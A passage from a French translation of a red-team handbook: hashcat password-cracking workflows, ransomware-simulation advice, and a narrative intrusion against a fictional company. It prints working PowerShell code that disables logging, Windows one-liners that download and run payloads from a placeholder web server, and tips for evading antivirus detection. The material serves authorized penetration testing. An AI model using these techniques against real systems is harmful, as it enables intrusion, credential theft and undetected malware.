L’une des principales raisons pour lesquelles Cobalt Strike est si puissant est due à son langage Aggressor Script (https://bit.ly/2Xl5Iy1). Avec ce langage, vous pouvez non seulement configurer des scripts de style autorun, mais également créer des attaques très complexes. Par exemple, je rencontre souvent des situations où nous nous retrouvons sur un poste de travail partagé, comme dans un laboratoire ou une salle de conférence. Une chose que je voudrais que notre agent fasse, c’est de lancer Mimikatz toutes les demi-heures pour obtenir des informations d’identification en texte clair. Avec Aggressor Scripts, nous pouvons réaliser toutes ces actions et plus encore. Voici un exemple de script qui fait exactement cela : mimikatz-every-30m. cna (https://bit.ly/2XnZXEN).
Collection de scripts Agressor :
	https://github.com/bluscreenofjeff/AggressorScripts

	https://github.com/harleyQu1nn/AggressorScripts



L’avenir de l’automatisation
Finalement, il y a quelques projets sympathiques qui évoluent vers l’automatisation, les compromissions intelligentes et les attaques APT1. Je crois fermement que l’automatisation des attaques sera l’avenir des compromissions et que nous devrons être capables de tester/valider nos contrôles de sécurité. Deux outils qui, à mon avis, offrent un grand potentiel pour lancer cette tendance à l’automatisation sont les suivants :
	Portia (https://github.com/SpiderLabs/portia)

	Caldera (https://github.com/mitre/caldera)




Casser les mots de passe
L’une de mes listes de mots de passe les plus récentes et préférées vient d’un vidage de 41 Go qui contient 1,4 milliard de noms d’utilisateur et mots de passe (http://bit.ly/2HqbYk8). Maintenant, je ne veux pas donner de lien direct vers le torrent, car il contient beaucoup de noms d’utilisateurs sensibles (ou d’emails) et de mots de passe associés, mais vous pouvez faire une recherche BreachCompilation.tar.bz2 pour trouver plus d’informations à ce sujet. Réfléchissez aux risques que vous prenez avant de télécharger ces informations très sensibles ! Je vous recommande, au lieu de télécharger le dump d’origine, de simplement récupérer les listes de mots de passe. C’est d’ailleurs ce que j’ai fait. Le fichier est accessible ici :
http://thehackerplaybook.com/get.php?type=THP-password

Sur mon système personnel, j’utilise des cartes graphiques Gigabyte GV-N108TTURBO-11GD AORUS GeForce GTX 1080 Ti 11 Go. Pour environ 12 000 $, vous pouvez construire votre propre système, comprenant un châssis, de la RAM, un bloc d’alimentation, un SSD et des GPU. Bien sûr, le châssis nécessitera au moins un montage en rack 4U (par exemple : SYS-4028GR-TR2) et beaucoup de puissance. Bien que tout cela ne soit évidemment pas bon marché, nous craquons environ 472 000 000 000 de hachages par seconde, et de hachages NTLM (Windows) par force brute. Voici un benchmark hashcat des huit GPU : Hashmode : 1000 – NTLM.
Speed.Dev.#1.....: 59436.3 MH/s (63.16ms)
Speed.Dev.#2.....: 58038.3 MH/s (64.70ms)
Speed.Dev.#3.....: 59104.4 MH/s (63.55ms)
Speed.Dev.#4.....: 59123.0 MH/s (63.52ms)
Speed.Dev.#5.....: 58899.7 MH/s (63.74ms)
Speed.Dev.#6.....: 59125.8 MH/s (63.51ms)
Speed.Dev.#7.....: 59256.3 MH/s (63.36ms)
Speed.Dev.#8.....: 59064.5 MH/s (63.56ms)
Speed.Dev.#*.....: 472.0 GH/s

Pour ceux qui n’ont pas les moyens de se payer un GPU surpuissant, il existe d’autres options. Bien que ce ne soit pas non plus bon marché, vous pouvez regarder ce qu’il est possible de faire dans le cloud. Récemment, Amazon a intégré des GPU TESLA (https://bit.ly/2YxwW5V) qui sont plus puissants que les 1080Ti. Il y a un excellent article à propos de la configuration de vos propres serveurs de piratage en utilisant ces GPU à l’adresse suivante :
https://bit.ly/2Jbq5tN
Statistiques provenant de l’article d’Iraklis Mathiopoulos :
Hashmode: 1000 - NTLM:
 
Speed.Dev.#1.....: 79294.4 MH/s (33.81ms)
Speed.Dev.#2.....: 79376.5 MH/s (33.79ms)
Speed.Dev.#3.....: 79135.5 MH/s (33.88ms)
Speed.Dev.#4.....: 79051.6 MH/s (33.84ms)
Speed.Dev.#5.....: 79030.6 MH/s (33.85ms)
Speed.Dev.#6.....: 79395.3 MH/s (33.81ms)
Speed.Dev.#7.....: 79079.5 MH/s (33.83ms)
Speed.Dev.#8.....: 79350.7 MH/s (33.83ms)
Speed.Dev.#*.....: 633.7 GH/s

Les vitesses totales pour NTLM sont environ 34 % supérieures à celles des cartes GPU TESLA. Le coût total d’utilisation d’AWS est d’environ 25 $ de l’heure. C’est donc à vous de bien évaluer votre budget, vos besoins et vos objectifs.
Labo :
Récemment, Troy Hunt (du site Have I Been Pwned) a publié une liste SHA1 de hachages de mots de passe d’environ 5,3 Go (compressée). Il s’agit d’une très longue liste de failles de sécurité et de vidage des données antérieures. C’est un excellent laboratoire pour tester vos compétences en matière de craquage de mots de passe :
https://downloads.pwnedpasswords.com/passwords/pwned-passwords-1.0.txt.7z

Comme ces GPU deviennent de plus en plus rapides, les mots de passe de moins de 10 caractères peuvent être cassés par force brute intelligemment dans un délai relativement raisonnable. Certains d’entre eux peuvent être craqués avec de bons masques de mots de passe, mais pour l’essentiel, tout cela s’appuie sur des listes de mots de passe. L’utilisation de listes provenant de violations réelles est l’un des moyens les plus rapides de pirater les mots de passe de plus de 12 caractères. L’examen de toutes les brèches passées nous donne un bon aperçu de la façon dont les humains créent des mots de passe, sur des techniques courantes pour obscurcir les mots de passe, et sur des mots favoris à utiliser. L’utilisation de ces listes avec des jeux de règles complexes nous permet de craquer des mots de passe (avec parfois plus de 25 caractères) à une vitesse immense. Mais n’oubliez pas que votre liste de mots de passe dépend de la façon dont vous la créez et la maintenez à jour. En tant que Red Teamer, nous suivons régulièrement tous les comptes que nous cassons, nous les analysons et nous les ajoutons à nos listes. Nous surveillons aussi constamment les nouvelles brèches, les sites de type pastebin/pastie, etc., pour trouver de nouveaux mots de passe.
Listes de mots de passe favorites :
	Real-Password-WPA Password de berzerk0 (18,6 Go décompressée) :
	https://bit.ly/2ncjS4A



	Dictionary-Style (1 Go décompressée) :
	https://bit.ly/2Ggbv0J



	Ten Million Passwords par Xato :
	magnet:?xt=urn:btih:32E50D9656E101F54120ADA3CE73F7A65EC9D5CB



	Hashes.org (croît régulièrement) :
	https://hashes.org/left.php



	Crackstation (15 Go décompressée):
	https://crackstation.net/files/crackstation.txt.gz



	Weakpass (multipes listes):
	https://weakpass.com/wordlist



	First20Hours (ce dépôt contient une liste des 10 000 mots anglais les plus courants par ordre de fréquence, telle que déterminée par les algorithmes d’analyse fréquentielle2 de Google3) :
	https://github.com/cyberspacekittens/google-10000-english



	SkullSecurity.org (anciennes listes de mots de passe) :
	https://wiki.skullsecurity.org/Passwords



	Compilation de Daniel Miessler et Jason Haddix :
	https://github.com/cyberspacekittens/SecLists



	Compilation du site Adeptus-mechanicus :
	http://www.adeptus-mechanicus.com/codex/hashpass/hashpass.php




En combinant de bonnes listes, nous pouvons ajouter en plus des règles pour trouver davantage de mots de passe. En termes de Hashcat, les règles définissent si des modifications ont besoin d’être injectées dans la liste de mots. La meilleure façon de décrire ces règles est d’observer un exemple facile à suivre. Nous pouvons prendre et utiliser les règles KoreLogicRulesAppendYears (https://bit.ly/30agf0W), qui ressemblent à ce qui suit :
	cAz»19[0-9][0-9]»

	Az»19[0-9][0-9]»

	cAz»20[01][0-9]»

	Az»20[01][0-9]»


Cela ajoutera les années 1949 à 2019 à chaque et à tout mot de passe. Si la liste des mots de passe contenait le terme ‘hacker’, cette règle essaiera de casser le hachage des chaînes ‘hacker1949’ jusqu’à ‘hacker2019’. N’oubliez pas que plus les règles sont complexes, plus il vous faudra de temps pour terminer l’examen de tous les mots de la liste.
Heureusement, nous n’avons pas besoin de créer nos propres règles, car il y en a déjà beaucoup d’excellentes. Bien sûr, il y a les règles par défaut de Hashcat, qui proviennent de nombreuses violations plus anciennes, et les techniques courantes de manipulation de mots de passe. C’est un bon point de départ. Les règles de Kore proviennent d’une compétition organisée par Korelogic (‘Crack Me If You Can’), et elles constituent l’un des autres standards existants. Deux autres règles, qui prennent assurément beaucoup plus de temps, mais qui ont des définitions très détaillées, sont NSAKEY et Hob0Rules. Dans le passé, je prenais toutes les règles et je les arrangeais dans un fichier unique. Mais, maintenant, NotSoSecure fait ce travail pour vous. Voyez ces liens :
	Règles Hashcat:
	https://github.com/hashcat/hashcat/tree/master/rules



	Règles Kore:
	http://contest-2010.korelogic.com/rules-hashcat.html



	Règles NSAKEY (un de mes préférés) (fork) :
	https://github.com/cyberspacekittens/nsa-rules



	Règles Praetorian-inc Hob0Rules (fork):
	https://github.com/cyberspacekittens/Hob0Rules



	NotSoSecure - One Rule to Rule Them All (fork):
	https://github.com/cyberspacekittens/password_cracking_rules





Craquez-en autant et aussi vite que vous le pouvez !
Vous avez récupéré une énorme liste de mots de passe en compromettant Cyber Space Kittens. Dans un temps limité, comment obtenir le meilleur « rapport qualité-prix » possible ? La marche à suivre décrite dans cette section vous guidera à travers les étapes initiales que nous effectuons pour craquer/casser autant de mots de passe que possible. Bien que nous n’ayons généralement besoin de trouver que quelques comptes d’administrateur de domaine/d’entreprise/LDAP, mes tendances aux TOC me poussent à essayer de casser tous les mots de passe.
Avant de commencer, vous devez vraiment comprendre le format de mot de passe de vos hachages. Hashcat a une excellente liste de formats et d’exemples :
https://hashcat.net/wiki/doku.php?id=example_hashes

Une fois que vous comprenez ces notions, il est toujours bon de faire quelques tests initiaux pour déterminer la rapidité ou la lenteur de l’algorithme de hachage. Cela fera une énorme différence dans votre approche des mots de passe. Par exemple, en regardant les hachages Windows, nous voyons que NTLM (Windows) exécute environ 75 000 MH/s4. Tandis qu’un hachage Linux courant, le SHA-256, fonctionne avec un taux d’environ 5 000 MH/s.
Cela signifie que, pour un hachage SHA-256, votre GPU peut faire 5 000 000 000 estimations par seconde. Cela peut sembler considérable, mais, quand vous avez d’énormes listes de mots de passe et de grands jeux de règles, cela peut ne pas être suffisamment puissant. Cela vient du fait que l’algorithme SHA-256 est assez lent et coûteux en termes de calcul par rapport à quelque chose comme NTLM, qui peut effectuer 75 000 000 000 hachages par seconde. Dans notre cas, nous faisons au maximum de nos capacités, parce que… pourquoi pas ? Nous utiliserons huit GPU 1080TI et un vidage de hachages NTLM rapide.
Casser les hachages NTLM de CyberSpaceKittens
Après avoir obtenu l’accès en tant qu’administrateur de domaine, vous avez utilisé votre attaque DCSync pour pomper tous les hachages du contrôleur de domaine. Votre but maintenant est d’essayer d’en casser autant que possible. Vous savez que vous serez en mesure d’utiliser ces comptes dans les campagnes à venir, et montrer à votre entreprise victime ses mauvaises pratiques en matière de mots de passe.
Tout d’abord, nous sauvegardons tous les hachages NTLM Windows dans un fichier appelé cat.txt. Pour rendre la sortie plus facile à lire, nous allons omettre les commandes initiales d’exécution de hashcat. Chaque exécution de commande commencera par :
hashcat -w 3 -m 1000 -o hashes.cracked ./hashes/cat.txt

Avec :
	hashcat : Exécute hashcat

	-w 3 : Utilisation du profil ajusté

	-m 1000 : Le format de hachage est NTLM

	-o hashes.cracked : Envoie les résultats dans un fichier

	./hashes/cat.txt : Le fichier de sortie


Ainsi, chaque fois que vous voyez la chaîne [hashcat], remplacez-la par la commande ci-dessus. Maintenant, craquons les hachages NTLM aussi rapidement et efficacement que possible sur notre système avec 8 GPU 1080TI.
	Cassez tous les mots de passe de 7 caractères ou moins en utilisant le mode d’attaque par force brute (-a 3) pour tout caractère alpha, numérique ou spécial (?a) de un à sept caractères de long (--incrément).
	[hashcat] -a 3 ?a?a?a?a?a?a?a --increment

	Durée totale : environ 5 minutes pour 7 caractères alpha/num/spéciaux. On peut le faire pour 8 caractères, mais nous avons un créneau limité à 9 heures.

	Vous pouvez également limiter le nombre de caractères spéciaux (!@##$%^) pour réduire considérablement le temps et la complexité.



	Ensuite, comparez toutes les listes de mots de passe courantes avec nos hachages. Le premier fichier (40GB_Unique_File. txt) est un fichier de mots de passe de 3,2 Go, ce qui prend environ 9 secondes à exécuter :
	[hashcat] ./lists/40GB_Unique_File.txt



	Comme nous pouvons le voir, la vitesse, même pour les fichiers les plus volumineux, ne dépasse pas quelques secondes. Pour améliorer l’efficacité, nous pouvons utiliser l’opérateur * et effectuer une comparaison avec chaque liste de mots de passe que nous avons dans notre répertoire ./lists/.
	[hashcat] ./lists/*



	Ensuite, en fonction de la rapidité de l’algorithme de hachage, nous pouvons essayer différents jeux de règles sur un seul fichier de liste de mots de passe. Nous allons commencer avec le jeu de règles RockYou qui prend environ 2 minutes et 9 secondes pour ces hachages NTLM :
	[hashcat] ./lists/40GB_Unique_File.txt -r ./rules/rockyou-30000.rule

	Note : le jeu de règles NSAKEY avec le fichier de 3 Go prend environ 7 minutes, et le jeu de règles ‘The one rule to rule them all’ défini par NotSoSecure prend environ 20 minutes.



	C’est à ce moment-là que je reviens aux autres listes de mots de passe et aux combinaisons de jeux de règles. À partir du premier passage de tous les grands jeux de règles et de toutes les grandes listes de mots de passe, nous obtenons généralement un taux de 30 % au minimum.

	Ensuite, nous pouvons commencer à ajouter des caractères à droite des listes de mots de passe pour améliorer nos chances d’obtenir des mots de passe plus longs. Le commutateur -a 6 ci-dessous ajoutera chaque caractère alpha/num/spécial sur la droite d’un mot de passe en allant de un caractère jusqu’à quatre :
	[hashcat] -i -a 6 ./lists/found.2015.txt ?a?a?a?a

	Note : cela prend environ 30 minutes pour arriver à quatre caractères.



	Nous pouvons également ajouter des caractères à gauche des listes de mots de passe. La commande suivante ajoutera chaque caractère alpha/num/spécial à gauche d’un mot de passe en allant de un jusqu’à quatre caractères :
	[hashcat] -i -a 7 ?a?a?a?a ./lists/40GB_Unique_File.txt

	Note : cela prend environ 30 minutes pour arriver à quatre caractères.



	Hashcat a un tas d’outils pour vous aider à construire de meilleures listes de mots de passe (https://bit.ly/2NCro9i). Un exemple est l’outil combinator (combinateur), qui peut prendre deux ou trois listes de mots de passe différents et les combiner. L’utilisation de petites listes est relativement rapide. La combinaison de notre liste shortKrak avec elle-même permet d’obtenir très rapidement des résultats :
	./hashcat-utils-1.8/bin/combinator.bin lists/shortKrak.txt lists/shortKrak.txt > lists/comboshortKrak.txt



	En prenant des listes comme les 10 000 mots les plus courants de Google, vous obtenez un fichier dont la taille atteint à peu près 1,4 Go. Vous devrez donc faire attention aux dimensions du fichier que vous choisissez.
	./hashcat-utils-1.8/bin/combinator.bin lists/google_top_1000.txt lists/google_top_1000.txt > lists/google_top_1000_combo.txt

	Note : si vous prenez un fichier de 4 Mo et que vous appliquez l’outil combinator, vous obtiendrez un fichier dépassant les 25 Go. À nouveau, faites attention à la taille de ces fichiers !



	Souvent, les mots de passe que les gens utilisent ne sont pas des mots pris dans un dictionnaire classique, mais des termes basés sur leur entreprise, leurs produits ou leurs services. Nous pouvons créer des listes de mots de passe personnalisées en utilisant les sites Web des clients. Voici deux outils qui peuvent y aider :
	https://github.com/cheetz/brutescrape (Brutescrape)

	https://bit.ly/2JhvJLb (Burp Word List Extractor)



	Ensuite, prenez tous vos mots de passe craqués, analysez-les et créez des masques en utilisant https://bit.ly/2XsUAEk :
	python ./PACK-0.0.4/statsgen.py hashes.password

	python ./PACK-0.0.4/statsgen.py hashes.password --minlength=10 -o hashes.masks

	python ./PACK-0.0.4/maskgen.py hashes.masks --optindex -q -o custom-optindex.hcmask



	Exécutez un craquage de mots de passe avec vos masques nouvellement créés :
	[hashcat] -a 3 ./custom-optindex.hcmask



	Passez vos listes de mots de passe dans Pipal pour mieux comprendre les mots de base (https://github.com/digininja/pipal) :
	cd /opt/pipal

	./pipal.rb hashes.password

	En observant cette liste, vous pourrez déterminer que cette entreprise utilise vraisemblablement resetme12345 comme mot de passe par défaut et qu’elle pourrait être située dans l’état du Michigan (Detroit, tiger, football). C’est qu’illustre la Figure 8.2.




[image: FIGURE 8.2 : Analyser des listes de mots de passe avec Pipal.]
FIGURE 8.2 : Analyser des listes de mots de passe avec Pipal.
Et maintenant ? Il y a toujours d’excellentes recherches sur différents outils de génération de mots de passe, d’analyse et autres techniques pour trouver des moyens plus rapides de casser les mots de passe. Voici quelques ressources comme points de départ :
	Une approche par deep learning pour deviner les mots de passe :
	https://github.com/brannondorsey/PassGAN



	Article « Fast, Lean, and Accurate: Modeling Password Guessability Using Neural Networks » :
	https://www.usenix.org/conference/usenixsecurity16/technical-sessions/presentation/melicher






Campagnes créatives
Faire partie d’une Red Team interne d’une entreprise fournit l’opportunité de mener des campagnes créatives. Une de mes campagnes préférées est la simulation de ransonware. Dans le passé, nous avons été autorisés à lancer des campagnes de ransonware simulées pendant l’ère de WannaCry. Comme les logiciels de chiffrement et de rançon sont de plus en plus populaires, nous devons vraiment être en mesure de tester nos procédures de récupération d’activité et de reprise après sinistre. Nous avons tous été témoins des ravages de WannaCry, qui se déplaçait latéralement à travers les partages SMB, utilisait des exploits comme EternalBlue, des fichiers cryptés, et même supprimait toutes les sauvegardes sur le système hôte. En tant qu’organisation informatique, la question que nous devons nous poser est la suivante : si l’un de nos utilisateurs avait cliqué sur ce malware, quel en aurait été l’impact ? Aurions-nous pu récupérer des fichiers utilisateurs, des fichiers partagés, des bases de données, etc. La réponse que nous entendons tout le temps est : « Je pense que oui... », mais, sans une Red Team pour valider les processus à l’avance, nous finissons par attendre que notre maison ait terminé de brûler pour connaître la vraie réponse.
C’est pourquoi j’aime avoir des Red Teams internes dans les organisations. Nous pouvons vraiment prouver et valider le fait que la sécurité et l’informatique fonctionnent, le tout dans un environnement contrôlé. Pour ce livre, je n’ai inclus aucun de nos exemples de ransomware, car cela aurait été bien trop risqué. Je vous laisse le soin de construire les outils et de tester vos clients selon une méthode approuvée.
Conseils pour la simulation de ransomware :
	Certaines organisations ne vous permettront pas de supprimer/chiffrer des fichiers. Pour ces entreprises, vous pouvez faire une simulation de violation par ransomware. Une fois le logiciel malveillant exécuté, il ne fera qu’analyser l’hôte/le réseau à la recherche de fichiers importants, lire chaque fichier en mémoire, faire un échange aléatoire d’octets, envoyer ces octets à un serveur C2, et inclure des métadonnées. Cela vous montrera combien de fichiers vous avez pu toucher, combien de données vous avez pu exfiltrer hors de leur réseau avant qu’ils ne détectent le trafic, et quels fichiers ils pourraient récupérer.

	Regardez d’autres échantillons de ransomware pour voir quels types de fichiers ils chiffraient. Cela pourrait rendre la campagne plus réaliste. Par exemple, regardez les types de fichiers de WannaCry :
	https://gist.github.com/rain-1/989428fa5504f378b993ee6efbc0b168



	Si vous voulez ‘crypter’ votre malware, faites-le avec quelque chose de simple. Il peut s’agir d’un AES standard avec une clé, d’un certificat x509 public/privé, ou d’une sorte de XOR bit à bit. Plus vous faites compliqué, et plus vous courez le risque de ne pas pouvoir récupérer les fichiers.

	Testez, testez et testez. La pire chose qui puisse vous arriver est de découvrir que l’entreprise ne peut pas récupérer les fichiers critiques et que votre processus de décryptage ne fonctionne pas.

	De nombreux antivirus de nouvelle génération bloquent automatiquement les ransomwares en fonction de certaines actions d’une chaîne. Par exemple, une détection normale que le ransomware pourrait effectuer est la suivante : analyser le système pour tous les fichiers de type X, crypter un fichier, supprimer la sauvegarde VSS (Volume Shadow Copy) et désactiver les sauvegardes. Pour contourner le processus de détection, essayez soit de ralentir cette activité, soit de trouver des moyens de faire exécuter ces mêmes tactiques, mais par un processus différent.



Désactiver le logging PowerShell
En tant que Red Teamers, nous sommes toujours à la recherche de techniques nouvelles et faciles à mettre en œuvre. Voici un exemple par leechristensen qui pourrait être utilisé pour désactiver la journalisation PowerShell (https://bit.ly/2XtOBdw) :
	$EtwProvider = [Ref].Assembly.GetType(‘System.Management.Automation.Tracing.PSEtwLogProvider’).GetField(‘etwProvider’,’NonPublic,Static’);

	$EventProvider = New-Object System.Diagnostics.Eventing.EventProvider -ArgumentList @([Guid]::NewGuid());

	$EtwProvider.SetValue($null, $EventProvider);



Téléchargement de fichier depuis la ligne de commande Internet
Si vous obtenez l’exécution d’une commande par l’intermédiaire d’une vulnérabilité d’application, ou si vous avez un accès shell via un fichier Office ou PDF, les prochaines étapes pourraient être le téléchargement et l’exécution de votre malware secondaire. Pour ces cas, il y a des « fonctionnalités » de Windows que nous pouvons abuser pour accomplir ce travail. La plupart de ces exemples proviennent des excellentes recherches effectuées par arno0x0x0x et @subtee :
https://bit.ly/2A1jwpr

	mshta vbscript:Close(Execute(“GetObject(“”script:http://webserver/payload.sct””)”))

	mshta http://webserver/payload.hta

	rundll32.exe javascript:”\..\mshtml,RunHTMLApplication”;o=GetObject(“script:http://webserver/payload.sct”);window.close();

	regsvr32 /u /n /s /i:http://webserver/payload.sctscrobj.dll

	certutil -urlcache -split -f http://webserver/payload payload

	certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll

	certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe


Ce ne sont là que quelques exemples, mais il existe bien d’autres méthodes pour obtenir l’exécution de votre code secondaire via une ligne de commande. C’est à vous de trouver les autres techniques pour vous cacher du logging traditionnel.

Obtenir le compte système à partir d’un compte d’administrateur local
Passer d’un compte d’administrateur local à un compte système peut se faire de plusieurs façons. Le moyen le plus courant, bien sûr, est d’utiliser le getsystem de Metasploit, mais ce n’est pas toujours possible. decoder-it a créé un script PowerShell génial pour passer d’une invite PowerShell d’administrateur local au niveau système en créant un nouveau processus qui définit son PID parent comme appartenant au système. Ce script PowerShell peut être trouvé ici :
https://github.com/decoder-it/psgetsystem

Pour exécuter le script (voir la Figure 8.3) :
	PS> . .\psgetsys.ps1

	PS>[MyProcess]::CreateProcessFromParent(<processus_système>,<commande_à_exécuter>)


[image: FIGURE 8.3 : Exécuter le script psgetsys.ps1.]
FIGURE 8.3 : Exécuter le script psgetsys.ps1.

Récupérer des hachages NTLM sans toucher LSASS
Elad Shamir a effectué des recherches approfondies et a réussi à comprendre comment attraper des hachages NTLM sans jamais avoir à toucher LSASS. Avant cette attaque, toucher LSASS pour obtenir des hachages via Mimikatz était limité par le Credential Guard sous Windows 10 Pro et Windows Server 2016. Elad a développé une attaque appelée Internal Monologue Attack, qui fait ce qui suit (voir la Figure 8.4) :
[image: FIGURE 8.4 : Utiliser Internal Monologue Attack.]
FIGURE 8.4 : Utiliser Internal Monologue Attack.
	Désactivez les contrôles préventifs NetNTLLMv1 en changeant LMCompatibilityLevel, NTLMMinClientSec et RestrictSendingNTLMTraffic avec les valeurs appropriées, comme décrit dans la documentation.

	Récupérez tous les jetons de connexion hors réseau des processus en cours d’exécution et usurpez l’identité des utilisateurs associés.

	Pour chaque utilisateur usurpé, interagissez avec NTLM SSP localement pour obtenir une réponse NetNTLMMv1 au défi choisi dans le contexte de sécurité de l’utilisateur piraté.

	Restaurez les valeurs d’origine de LMCompatibilityLevel, NTLMMinClientSec et RestrictSendingNTLMTraffic.

	https://github.com/eladshamir/Internal-Monologue



Entraînement et monitoring avec des outils défensifs
L’un des aspects les plus difficiles des tests de nos malware est que nous devons mettre en place un environnement permettant d’effectuer ces tests très rapidement. Un outil génial que Chris Long a créé sous le nom de Detection Lab est une collection de scripts Packer et Vagrant qui vous permet de construire rapidement un domaine Windows en ligne :
https://github.com/clong/DetectionLab

Detection Lab est fourni avec tout un jeu d’outils et comprend quatre hôtes (https://medium.com/@clong/introducing-detection-lab-61db34bed6ae) :
	DC : Un contrôleur de domaine Windows 2016

	WEF : Un serveur Windows 2016 qui gère la collection d’événements Windows

	Win10 : Un hôte Windows 10 simulant un terminal non serveur

	Logger : Un hôte Ubuntu 16.04 qui exécute Splunk et un serveur Fleet


Voyez à ce sujet l’adresse :
https://medium.com/@clong/introducing-detection-lab-61db34bed6ae


Conclusion
Les trucs et les astuces font partie de notre métier de Red Teamer. Nous devons continuellement chercher de meilleures façons d’attaquer les utilisateurs, les systèmes et d’échapper à la détection. Il n’y a pas de bouton magique. Il faut des heures ou plutôt des années de pratique, de sueur et de larmes.


1. Voir par exemple https://fr.wikipedia.org/wiki/Advanced_Persistent_Threat.
2. Voir par exemple https://bit.ly/2NxzgJ9.
3. Voir à ce sujet https://books.google.com/ngrams/info#.
4. MH/s est l’abréviation de « mega hashes per second » (millions de hachages par seconde).

Chapitre 9
Percer en deux minutes – De zéro à héros
Avec le temps qui passe, c’est le dernier jour de tests et vous n’avez pas eu beaucoup de succès de l’extérieur. Vous sentez la pression monter car vous avez besoin d’accéder à l’environnement, de comprendre la structure de l’entreprise, d’accéder à des fichiers/des codes sensibles, de pivoter vers différents utilisateurs et réseaux, et finalement de vous introduire dans le programme classifié de Cyber Space Kittens. Votre mission était de voler les secrets de la nouvelle fusée et vous ne pouvez pas échouer… Vous avez deux minutes pour percer. Avec aussi peu de temps restant, vous devez déplacer la balle en partant de la ligne des 10 yards, percer toutes les protections défensives, nettoyer vos pistes, dépasser la ligne des 90 yards et marquer l’essai.
Ligne des 10 yards
Vous repassez en revue toutes vos notes pour découvrir ce qui a pu être omis. L’une des captures d’écran Web attire votre regard... c’est un site de forum pour CSK. Vous n’avez pas pu trouver de vulnérabilités dans l’application, mais vous remarquez que ce forum CSK est utilisé à la fois par les employés et par les utilisateurs publics pour poster des questions, des commentaires et d’autres choses sur leur programme spatial.
Vous listez tous les utilisateurs que vous pouvez trouver sur le site et qui semblent correspondre à des comptes d’entreprise. Vous sortez ensuite votre liste fiable de mots de passe. Vous exécutez une tentative d’attaque par force brute pour tous ces comptes avec des mots de passe et des variantes couramment utilisés. Progressivement, vous voyez votre script Python échouer… échouer… échouer… réussir ! Mot de passe trouvé !
Vous riez en voyant que l’un des utilisateurs, Chris Catfield, a utilisé le mot de passe « Summer2018 ». Vous vous dites que c’était finalement trop facile. Ensuite, vous vous connectez au forum en tant que Chris, lisez tous ses messages privés et ses posts pour trouver la meilleure méthode pour obtenir votre point d’appui initial. Vous voyez que Chris discute régulièrement avec un autre employé interne sur le forum, Neil Pawstrong, au sujet du programme spatial. On dirait qu’ils ne sont pas vraiment amis, mais qu’ils ont de bonnes relations de travail. C’est évidemment une bonne chose pour la prochaine attaque par phishing. En utilisant le compte de Chris, nous avons déjà la relation entre les deux utilisateurs et la probabilité de succès est grande.

Ligne des 20 yards
Vous vous demandez si vous devriez ou non envoyer à Neil une charge utile de malware personnalisée, car cela pourrait paraître trop évident. Au lieu de cela, vous envoyez un lien vers une image de chat que vous avez trouvée sur une page Web avec le message, « Hey Neil, je sais que vous aimez les chats ! Regardez cette page que j’ai fabriquée ! » (voir la Figure 9.1).
[image: FIGURE 9.1 : Le lien envoyé à Neil avec l’image de chat.]
FIGURE 9.1 : Le lien envoyé à Neil avec l’image de chat.
Quelques minutes plus tard, vous recevez un message de Neil sur le site du forum qui dit « LOL, j’adore les chats de l’espace ». Mais Neil ne se rend pas compte que la page Web qu’il a visitée contenait une charge utile JavaScript personnalisée, charge qui lance du code sur sa machine pour scanner son réseau interne CSK et compromettre les serveurs Web non authentifiés Jenkins et Tomcat. En quelques secondes, vous commencez à récupérer les charges utiles d’Empire et à pousser un soupir de soulagement.

Ligne des 30 yards
Vos sens vibrent, et vous savez que ce n’est qu’une question de temps avant que l’équipe bleue commence à mettre en place des mesures de protection renforcées, de sorte que vous devez agir rapidement. Heureusement, vous avez déjà mis en place l’automatisation pour effectuer une grande partie du sale boulot. La balise de l’hôte compromise s’active et commence à exécuter des outils comme Bloodhound, à rechercher les mots de passe locaux, à activer le bit de registre pour capturer les mots de passe Mimikatz LSASS, à exécuter SPN et à vider tous les tickets Kerberos, et bien sûr configurer la persistance des tâches programmées.

Ligne des 40 yards
Vous savez que vous avez besoin de sortir rapidement de cette boîte initiale. Vous prenez tous les tickets Kerberos et vous les envoyez à Hashcat pour commencer à craquer. C’est une bonne chose que vous ayez trouvé ces bug bounties supplémentaires pour acheter quelques GPU 1080TI. Au fur et à mesure qu’ils commencent à craquer, vous voyez apparaître des mots de passe de comptes de service, mais vous n’avez pas le temps de vous en occuper. Vous passez en revue les résultats de Bloodhound et vous réalisez que la boîte compromise appartient à Neil Pawstrong, et que son compte Active Directory a accès à la boîte de Buzz Clawdrin. En utilisant WMI, vous générez à distance une autre charge utile sur son système et vous migrez vers un processus appartenant à Buzz (voir la Figure 9.2).

Ligne des 50 yards
Heureusement pour vous, vous êtes aussi un administrateur local sur la boîte de Buzz, ce qui signifie que les deux doivent beaucoup travailler en commun. En utilisant la sortie de Bloodhound, vous traversez le réseau jusqu’à la boîte CSK-LAB, mais vous réalisez que vous n’avez pas de compte d’administrateur local sur ce système. Pas de souci. Vous chargez le script PowerShell PowerUp et vous cherchez des erreurs de configuration sur ce système qui pourraient vous permettre de devenir administrateur local. Comme vous le pensiez, il y a une tonne de chemins non cités pour les binaires de services, et vous avez la possibilité d’y écrire votre propre charge utile. Vous créez rapidement un nouveau binaire malveillant qui peut maintenant être déclenché par le service système local.

Ligne des 60 yards
Vous obtenez une nouvelle charge utile Cobalt Strike sur votre boîte C2 secondaire, ce qui vous permet de maintenir l’accès même si des parties de votre campagne sont découvertes. En prenant cette nouvelle connexion en tant que System, vous pillez la boîte et vous trouvez de nombreux identifiants dans des fichiers texte, stockés dans des navigateurs, configurés dans WinSCP, et ainsi de suite. Cette boîte partagée est une mine d’or et possède une connectivité
[image: FIGURE 9.2 : De Neil à Buzz, en un éclair !]
FIGURE 9.2 : De Neil à Buzz, en un éclair !
vers plusieurs serveurs et bases de données. Vous remarquez que cette machine est sur un autre VLAN. Il semble que, dans ce réseau, il y ait un accès à de multiples systèmes, ce que Neil ne pouvait pas voir auparavant.
